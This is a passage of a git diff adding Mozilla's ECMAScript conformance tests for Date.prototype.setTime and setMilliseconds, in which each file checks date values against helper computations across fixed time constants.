+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-3-n.js
+ ECMA Section: 15.9.5.23
+ Description: Date.prototype.setTime
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.23-3-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var MYDATE = new MyDate(TIME_1970);
+
+DESCRIPTION = "MYDATE.setTime(TIME_2000)";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "MYDATE.setTime(TIME_2000)",
+ "error",
+ eval("MYDATE.setTime(TIME_2000)") );
+
+test();
+
+function MyDate(value) {
+ this.value = value;
+ this.setTime = Date.prototype.setTime;
+ return this;
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.23-4.js b/js/src/tests/ecma/Date/15.9.5.23-4.js
new file mode 100644
index 000000000..824f033ed
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-4.js
@@ -0,0 +1,78 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-2.js
+ ECMA Section: 15.9.5.23
+ Description: Date.prototype.setTime
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.23-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+test_times = new Array( TIME_NOW, TIME_0000, TIME_1970, TIME_1900, TIME_2000,
+ UTC_FEB_29_2000, UTC_JAN_1_2005 );
+
+
+for ( var j = 0; j < test_times.length; j++ ) {
+ addTestCase( new Date(TIME_0000), test_times[j] );
+}
+
+new TestCase( SECTION,
+ "(new Date(NaN)).setTime()",
+ NaN,
+ (new Date(NaN)).setTime() );
+
+new TestCase( SECTION,
+ "Date.prototype.setTime.length",
+ 1,
+ Date.prototype.setTime.length );
+test();
+
+function addTestCase( d, t ) {
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+t+")",
+ t,
+ d.setTime(t) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+1.1)+")",
+ TimeClip(t+1.1),
+ d.setTime(t+1.1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+1)+")",
+ t+1,
+ d.setTime(t+1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t-1)+")",
+ t-1,
+ d.setTime(t-1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t-TZ_ADJUST)+")",
+ t-TZ_ADJUST,
+ d.setTime(t-TZ_ADJUST) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+TZ_ADJUST)+")",
+ t+TZ_ADJUST,
+ d.setTime(t+TZ_ADJUST) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.23-5.js b/js/src/tests/ecma/Date/15.9.5.23-5.js
new file mode 100644
index 000000000..0ac39ad42
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-5.js
@@ -0,0 +1,79 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-2.js
+ ECMA Section: 15.9.5.23
+ Description: Date.prototype.setTime
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.23-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+test_times = new Array( TIME_NOW, TIME_0000, TIME_1970, TIME_1900, TIME_2000,
+ UTC_FEB_29_2000, UTC_JAN_1_2005 );
+
+
+for ( var j = 0; j < test_times.length; j++ ) {
+ addTestCase( new Date(TIME_1970), test_times[j] );
+}
+
+
+new TestCase( SECTION,
+ "(new Date(NaN)).setTime()",
+ NaN,
+ (new Date(NaN)).setTime() );
+
+new TestCase( SECTION,
+ "Date.prototype.setTime.length",
+ 1,
+ Date.prototype.setTime.length );
+test();
+
+function addTestCase( d, t ) {
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+t+")",
+ t,
+ d.setTime(t) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+1.1)+")",
+ TimeClip(t+1.1),
+ d.setTime(t+1.1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+1)+")",
+ t+1,
+ d.setTime(t+1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t-1)+")",
+ t-1,
+ d.setTime(t-1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t-TZ_ADJUST)+")",
+ t-TZ_ADJUST,
+ d.setTime(t-TZ_ADJUST) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+TZ_ADJUST)+")",
+ t+TZ_ADJUST,
+ d.setTime(t+TZ_ADJUST) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.23-6.js b/js/src/tests/ecma/Date/15.9.5.23-6.js
new file mode 100644
index 000000000..a7af7438b
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-6.js
@@ -0,0 +1,78 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-2.js
+ ECMA Section: 15.9.5.23
+ Description: Date.prototype.setTime
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.23-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+test_times = new Array( TIME_NOW, TIME_0000, TIME_1970, TIME_1900, TIME_2000,
+ UTC_FEB_29_2000, UTC_JAN_1_2005 );
+
+
+for ( var j = 0; j < test_times.length; j++ ) {
+ addTestCase( new Date(TIME_1900), test_times[j] );
+}
+
+
+new TestCase( SECTION,
+ "(new Date(NaN)).setTime()",
+ NaN,
+ (new Date(NaN)).setTime() );
+
+new TestCase( SECTION,
+ "Date.prototype.setTime.length",
+ 1,
+ Date.prototype.setTime.length );
+test();
+function addTestCase( d, t ) {
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+t+")",
+ t,
+ d.setTime(t) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+1.1)+")",
+ TimeClip(t+1.1),
+ d.setTime(t+1.1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+1)+")",
+ t+1,
+ d.setTime(t+1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t-1)+")",
+ t-1,
+ d.setTime(t-1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t-TZ_ADJUST)+")",
+ t-TZ_ADJUST,
+ d.setTime(t-TZ_ADJUST) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+TZ_ADJUST)+")",
+ t+TZ_ADJUST,
+ d.setTime(t+TZ_ADJUST) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.23-7.js b/js/src/tests/ecma/Date/15.9.5.23-7.js
new file mode 100644
index 000000000..4e09d7cb7
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-7.js
@@ -0,0 +1,79 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-2.js
+ ECMA Section: 15.9.5.23
+ Description: Date.prototype.setTime
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.23-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+test_times = new Array( TIME_NOW, TIME_0000, TIME_1970, TIME_1900, TIME_2000,
+ UTC_FEB_29_2000, UTC_JAN_1_2005 );
+
+
+for ( var j = 0; j < test_times.length; j++ ) {
+ addTestCase( new Date(TIME_2000), test_times[j] );
+}
+
+
+new TestCase( SECTION,
+ "(new Date(NaN)).setTime()",
+ NaN,
+ (new Date(NaN)).setTime() );
+
+new TestCase( SECTION,
+ "Date.prototype.setTime.length",
+ 1,
+ Date.prototype.setTime.length );
+test();
+
+function addTestCase( d, t ) {
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+t+")",
+ t,
+ d.setTime(t) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+1.1)+")",
+ TimeClip(t+1.1),
+ d.setTime(t+1.1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+1)+")",
+ t+1,
+ d.setTime(t+1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t-1)+")",
+ t-1,
+ d.setTime(t-1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t-TZ_ADJUST)+")",
+ t-TZ_ADJUST,
+ d.setTime(t-TZ_ADJUST) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+TZ_ADJUST)+")",
+ t+TZ_ADJUST,
+ d.setTime(t+TZ_ADJUST) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.23-8.js b/js/src/tests/ecma/Date/15.9.5.23-8.js
new file mode 100644
index 000000000..4de029f6c
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-8.js
@@ -0,0 +1,69 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-2.js
+ ECMA Section: 15.9.5.23
+ Description: Date.prototype.setTime
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.23-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+test_times = new Array( TIME_NOW, TIME_0000, TIME_1970, TIME_1900, TIME_2000,
+ UTC_FEB_29_2000, UTC_JAN_1_2005 );
+
+
+for ( var j = 0; j < test_times.length; j++ ) {
+ addTestCase( new Date(UTC_FEB_29_2000), test_times[j] );
+}
+
+test();
+
+function addTestCase( d, t ) {
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+t+")",
+ t,
+ d.setTime(t) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+1.1)+")",
+ TimeClip(t+1.1),
+ d.setTime(t+1.1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+1)+")",
+ t+1,
+ d.setTime(t+1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t-1)+")",
+ t-1,
+ d.setTime(t-1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t-TZ_ADJUST)+")",
+ t-TZ_ADJUST,
+ d.setTime(t-TZ_ADJUST) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+TZ_ADJUST)+")",
+ t+TZ_ADJUST,
+ d.setTime(t+TZ_ADJUST) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.23-9.js b/js/src/tests/ecma/Date/15.9.5.23-9.js
new file mode 100644
index 000000000..2288bb59f
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-9.js
@@ -0,0 +1,69 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-2.js
+ ECMA Section: 15.9.5.23
+ Description: Date.prototype.setTime
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.23-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+test_times = new Array( TIME_NOW, TIME_0000, TIME_1970, TIME_1900, TIME_2000,
+ UTC_FEB_29_2000, UTC_JAN_1_2005 );
+
+
+for ( var j = 0; j < test_times.length; j++ ) {
+ addTestCase( new Date(UTC_JAN_1_2005), test_times[j] );
+}
+
+test();
+
+function addTestCase( d, t ) {
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+t+")",
+ t,
+ d.setTime(t) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+1.1)+")",
+ TimeClip(t+1.1),
+ d.setTime(t+1.1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+1)+")",
+ t+1,
+ d.setTime(t+1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t-1)+")",
+ t-1,
+ d.setTime(t-1) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t-TZ_ADJUST)+")",
+ t-TZ_ADJUST,
+ d.setTime(t-TZ_ADJUST) );
+
+ new TestCase( SECTION,
+ "( "+d+" ).setTime("+(t+TZ_ADJUST)+")",
+ t+TZ_ADJUST,
+ d.setTime(t+TZ_ADJUST) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.24-1.js b/js/src/tests/ecma/Date/15.9.5.24-1.js
new file mode 100644
index 000000000..627b8cfac
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.24-1.js
@@ -0,0 +1,101 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.24-1.js
+ ECMA Section: 15.9.5.24 Date.prototype.setTime(time)
+ Description:
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var TITLE = "Date.prototype.setTime"
+ var SECTION = "15.9.5.24-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)");
+
+
+addTestCase( 0, 0 );
+
+test();
+
+function addTestCase( startms, newms ) {
+
+ var DateCase = new Date( startms );
+ DateCase.setMilliseconds( newms );
+ var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date";
+ var localms = UTC( Number(newms) + LocalTime( Number(startms) ) );
+ var UTCDate = UTCDateFromTime( localms );
+ var LocalDate = LocalDateFromTime( localms );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.24-2.js b/js/src/tests/ecma/Date/15.9.5.24-2.js
new file mode 100644
index 000000000..27bd97f4b
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.24-2.js
@@ -0,0 +1,101 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.24-1.js
+ ECMA Section: 15.9.5.24 Date.prototype.setTime(time)
+ Description:
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var TITLE = "Date.prototype.setTime"
+ var SECTION = "15.9.5.24-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)");
+
+
+addTestCase( 0, -86400000 );
+
+test();
+
+function addTestCase( startms, newms ) {
+
+ var DateCase = new Date( startms );
+ DateCase.setMilliseconds( newms );
+ var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date";
+ var localms = UTC( Number(newms) + LocalTime( Number(startms) ) );
+ var UTCDate = UTCDateFromTime( localms );
+ var LocalDate = LocalDateFromTime( localms );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.24-3.js b/js/src/tests/ecma/Date/15.9.5.24-3.js
new file mode 100644
index 000000000..e8d8ddb62
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.24-3.js
@@ -0,0 +1,101 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.24-1.js
+ ECMA Section: 15.9.5.24 Date.prototype.setTime(time)
+ Description:
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var TITLE = "Date.prototype.setTime"
+ var SECTION = "15.9.5.24-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)");
+
+
+addTestCase( 0, -2208988800000 );
+
+test();
+
+function addTestCase( startms, newms ) {
+
+ var DateCase = new Date( startms );
+ DateCase.setMilliseconds( newms );
+ var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date";
+ var localms = UTC( Number(newms) + LocalTime( Number(startms) ) );
+ var UTCDate = UTCDateFromTime( localms );
+ var LocalDate = LocalDateFromTime( localms );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.24-4.js b/js/src/tests/ecma/Date/15.9.5.24-4.js
new file mode 100644
index 000000000..58ed41448
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.24-4.js
@@ -0,0 +1,101 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.24-1.js
+ ECMA Section: 15.9.5.24 Date.prototype.setTime(time)
+ Description:
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var TITLE = "Date.prototype.setTime"
+ var SECTION = "15.9.5.24-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)");
+
+
+addTestCase( 0, 946684800000 );
+
+test();
+
+function addTestCase( startms, newms ) {
+
+ var DateCase = new Date( startms );
+ DateCase.setMilliseconds( newms );
+ var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date";
+ var localms = UTC( Number(newms) + LocalTime( Number(startms) ) );
+ var UTCDate = UTCDateFromTime( localms );
+ var LocalDate = LocalDateFromTime( localms );
+
